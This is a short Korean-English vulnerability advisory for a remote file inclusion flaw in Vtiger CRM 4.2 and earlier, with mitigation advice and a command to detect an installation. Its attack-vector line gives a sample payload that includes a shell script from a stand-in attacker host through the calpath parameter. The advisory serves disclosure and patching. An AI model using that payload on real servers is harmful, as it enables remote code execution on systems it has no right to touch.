🇰🇷 한글 설명
Vtiger CRM 4.2 이전 버전의 calpath 매개변수에서 PHP 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자가 외부 서버의 악의적 PHP 파일을 참조하여 원격 코드 실행이 가능합니다. Calendar 모듈의 관리자 페이지 여러 곳이 이 취약점에 노출됩니다.
💡 쉬운 설명
Vtiger CRM의 특정 페이지가 사용자 입력으로 받은 파일 경로를 검증하지 않아, 해커가 인터넷 어디선가 악성 코드를 다운받아 실행하도록 강제할 수 있습니다. 로그인 없이도 가능할 수 있어 위험합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Vtiger CRM 4.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the calpath parameter to (1) modules/Calendar/admin/update.php, (2) modules/Calendar/admin/scheme.php, or (3) modules/Calendar/calendar.php.
📍 영향받는 시스템
Vtiger CRM 버전 4.2 이하
⚔️ 공격 벡터
calpath 파라미터에 원격 URL 주입 (예: ?calpath=http://attacker.com/shell.php)
🛡️ 대응 방법
Vtiger CRM을 4.3 이상으로 업그레이드하거나, 파일 포함 함수에 대한 입력값 검증 강화
🔧 검증 코드
Calendar 모듈 파일이 발견되면 Vtiger CRM이 설치된 상태이며, 파일 수정일이 2006년 이전이면 패치되지 않은 버전
find / -path '*/modules/Calendar/*.php' 2>/dev/null | head -1 && echo 'Vtiger installed' || echo 'Not found'